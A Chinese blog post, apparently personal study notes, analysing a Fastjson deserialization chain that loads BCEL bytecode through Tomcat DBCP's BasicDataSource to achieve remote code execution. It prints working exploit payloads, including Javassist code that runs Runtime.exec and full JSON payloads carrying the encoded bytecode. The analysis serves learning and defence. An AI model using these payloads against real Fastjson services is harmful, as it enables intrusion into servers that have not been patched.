IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> [JAVA反序列化初学4]Fastjson的BCEL字节码攻击分析 -> 正文阅读

[Java知识库][JAVA反序列化初学4]Fastjson的BCEL字节码攻击分析


这基本是直接从本地笔记md复制上来,主要是自己记录,排版很烂,见谅。


Fastjson与BCEL

在Fastjson中通过BCEL字节码执行恶意代码,需要用到org.apache.tomcat.dbcp.dbcp.BasicDataSource这个类。主要原因是,我们需要加载BCEL字节码的话,需要实现下面这一句话:

import com.sun.org.apache.bcel.internal.util.ClassLoader;
...
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();

而想要在Fastjson中使用的话,就得在各种fastjson反序列化过程中执行的那些操作中执行到这个操作。而在BasicDataSource中正好有一个能够利用的点。

在544行的地方,方法createConnectionFactory执行了一个getContextClassLoader().loadClass(this.driverClassName)

protected ConnectionFactory createConnectionFactory() throws SQLException {
    Class driverFromCCL = null;
    String user;
    if (this.driverClassName != null) {
        try {
            try {
                if (this.driverClassLoader == null) {
                    Class.forName(this.driverClassName);
                } else {
                    Class.forName(this.driverClassName, true, this.driverClassLoader);
                }
            } catch (ClassNotFoundException var6) {
                driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(this.driverClassName);

而这里的getContextClassLoader和driverClassName恰好都是可控的,上次说到的Fastjson在反序列化过程中会调用setter来置值。

我们在类中找到了setContextClassLoader和setdriverClassName。

public synchronized void setDriverClassName(String driverClassName) {
    if (driverClassName != null && driverClassName.trim().length() > 0) {
        this.driverClassName = driverClassName;
    } else {
        this.driverClassName = null;
    }

    this.restartNeeded = true;
}
public synchronized void setDriverClassLoader(ClassLoader driverClassLoader) {
    this.driverClassLoader = driverClassLoader;
    this.restartNeeded = true;
}

现在,只要找到哪里调用到createConnectionFactory就能成了,接下来就是一条链到达这里。

在方法createDataSource中第510行找到了这个createConnectionFactory的调用。

protected synchronized DataSource createDataSource() throws SQLException {
    if (this.closed) {
        throw new SQLException("Data source is closed");
    } else if (this.dataSource != null) {
        return this.dataSource;
    } else {
        ConnectionFactory driverConnectionFactory = this.createConnectionFactory();

然后又在getConnection找到了createDataSource的调用。

public Connection getConnection() throws SQLException {
    return this.createDataSource().getConnection();
}

本来以为到这里就算完了,因为上次有说到parseObject调用了对象所有的getter,那这里肯定就会自动触发了。但完全不行。失败的payload如下:

ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("A");
String code="java.lang.Runtime.getRuntime().exec(\"calc\");";
            ctClass.makeClassInitializer().insertAfter(code);
            byte[] b=ctClass.toBytecode();
String bcel="$$BCEL$$"+Utility.encode(b,true);
String str = "{\n" +
    "                \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\n" +
    "                \"driverClassName\": \""+bcel+"\"\n" +
    "        }";
System.out.println(str);
JSON.parse(str);

完全没有反应。去查,发现parseObject并不像想象中那样调用了所有的getter。

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。 ——引用https://jlkl.github.io/2021/12/18/Java_07上面说的

条件:返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

很显然的是getConnection方法是不符合的,返回值类型为Connection。所以正常来说在 FastJson 反序列化的过程中并不会被调用。——(38条消息) 红队漏洞研究-fastjsonBasicDataSource链分析_Gamma_lab的博客-CSDN博客

按网上的说法,如果把这个JsonObject作为key放在json里面的话。会执行key的toString方法,然后因为JsonObject继承了map,map的toString会取得所有的getter,意思是懂了,但不看看代码总觉得不太。还是自己跟跟吧。

在DefaultJSONParser中识别到Map类型,在分支结构中进入了这个重载的参数类型为Map的parseObject。

在这里插入图片描述

跟到了key的toString。

在这里插入图片描述

嵌套,跟进。
在这里插入图片描述

按执行顺序,new JSONSerializer就不进了,进入到write方法,盲猜是调用setter的地方。

在这里插入图片描述

反射取得JsonObject的Class,然后调用了getObjectWriter
在这里插入图片描述

嵌套,进去。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

好长,不一一看了,在这里过去执行了命令,直接从这里进去看看。

在这里插入图片描述

还是进write。这里从值里取出了BasicDataSource。

在这里插入图片描述

在这里插入图片描述

这里得到了JsonObject所有的getter。
在这里插入图片描述

欸嘿,感觉是这里,要成了。
在这里插入图片描述

然后在后面的代码中,遍历所有的getter来执行getPropertyValueDirect

在这里插入图片描述

这里成员变量method的值是getConnection

在这里插入图片描述

跟进去这个函数,这里调用了"connection".get(BasicDataSource),感觉getConnection近在咫尺。

在这里插入图片描述

跟进去,发现反射执行了
在这里插入图片描述

总算找到调用栈了。到这里就连接上了前面的BasicDataSource中的链,就可以RCE了。

在这里插入图片描述

等等,感觉好像漏了一些什么东西。this.getter什么时候传进去的?!

返回write的上一层,这里的上一句取得了这个执行write的对象。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

发现这里就是检验getter的地方,得是上面所述getter才可以。

在这里插入图片描述

调用了几次不同的seriazlizer来get,在最后一次调用get的时候匹配上了entry.key
在这里插入图片描述

在这里插入图片描述

反正就是prewriter取出来的时候,this.getters就已经放进了所有的getter。

最后的payload,长这样。

String str="{\n" +
        "    {\n" +
        "        \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
        "        \"x\":{\n" +
        "                \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
        "                \"driverClassLoader\": {\n" +
        "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
        "                },\n" +
        "                \"driverClassName\": \""+bcel+"\"\n" +
        "        }\n" +
        "    }: \"x\"\n" +
        "}";
{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$90$cfJ$c3$40$Q$c6$bfi$da$s$c6$d46$d5$fa$ef$s$IM$3d$d8$83$c7$W$a1$I$9e$w$8a$91$f6$bc$5d$97$b05MJ$ba$V$df$c8s$_$w$k$7c$A$lJ$9c$84$82$F$97$9d$fdf$86o$7e$M$fb$fd$f3$f9$F$e0$C$c7$E$g$d8$mBc$w$9eE7$WI$d4$bd$9dL$9546$y$82$h$a6$cbL$aak$j$xBup$9e$9b$IN_$c6$3a$d1$e6$92$60$F$9d$R$a1$7c$95$3e$b2$c1$ffc$dc$_$T$a3g$ca$86$cb$90H$99uMh$F$9d$e1$3f$5b$cf$83$87$9a$8bm$ec0L$8aX$3ahp$a6$5e$94$q$b4$83$8d$89$d0d$3a$89z$9b$90$bb$y$95j$b1$60H$T$bb9d$8fP$L$8d$90O7b$fe$m$s$c5$ee$fdba$P$Hp$5c$94q$88$T$94X$f3S$82$D$9b$83$b0$c5$d5$v$y$ee$A$f5W$fe$80$e1$H$eaM$ff$N$ad$f1$8a$5b$84$7d$7e$z$Q$df$i$b4$9e$f0Y$89$b5r$f6$8e$a3U$81$qT$Kp$f5$X$c4$a1$b9$Rj$B$A$A"
        }
    }: "x"
}

或者像这样也行,就是键中不指定反序列化JSONObject。

{
    {
        "x": {
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$90$cfJ$c3$40$Q$c6$bfi$da$s$c6$d46$d5$fa$ef$s$IM$3d$d8$83$c7$W$a1$I$9e$w$8a$91$f6$bc$5d$97$b05MJ$ba$V$df$c8s$_$w$k$7c$A$lJ$9c$84$82$F$97$9d$fdf$86o$7e$M$fb$fd$f3$f9$F$e0$C$c7$E$g$d8$mBc$w$9eE7$WI$d4$bd$9dL$9546$y$82$h$a6$cbL$aak$j$xBup$9e$9b$IN_$c6$3a$d1$e6$92$60$F$9d$R$a1$7c$95$3e$b2$c1$ffc$dc$_$T$a3g$ca$86$cb$90H$99uMh$F$9d$e1$3f$5b$cf$83$87$9a$8bm$ec0L$8aX$3ahp$a6$5e$94$q$b4$83$8d$89$d0d$3a$89z$9b$90$bb$y$95j$b1$60H$T$bb9d$8fP$L$8d$90O7b$fe$m$s$c5$ee$fdba$P$Hp$5c$94q$88$T$94X$f3S$82$D$9b$83$b0$c5$d5$v$y$ee$A$f5W$fe$80$e1$H$eaM$ff$N$ad$f1$8a$5b$84$7d$7e$z$Q$df$i$b4$9e$f0Y$89$b5r$f6$8e$a3U$81$qT$Kp$f5$X$c4$a1$b9$Rj$B$A$A"
        }
    }:"xxx"
}

简单总结一下payload,最外层先是放了一对键值,键是一个JSONObjct,值随意一个字符串什么都行,这个JSONObject整体会作为一个键,值是xxx。接着会调用到key.toString。也就是这个JSONObject的toString。JSONObejct执行toString其实是在invoke函数中。

在这里插入图片描述

然后调用了父类JSON中的toString,然后又调用toJSONString

在这里插入图片描述

接着就取得了所有JSONObject中的getter。就会调用到JSONObject中的value(BasicDataSource)中的所有getter,也就调用到了getConnection。

最后

这条链前面要调用getConnection的流程实在是太深入了,主要是要得到所有getter,包括getConnection,然后调用,才可以加载字节码执行恶意代码。分析代码太小白了,流程稍微长,稍微深入,脑子就一片混乱了,还是要多分析分析一些利用链,多看看底层代码。

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-05-10 11:43:27  更:2022-05-10 11:47:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 22:54:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码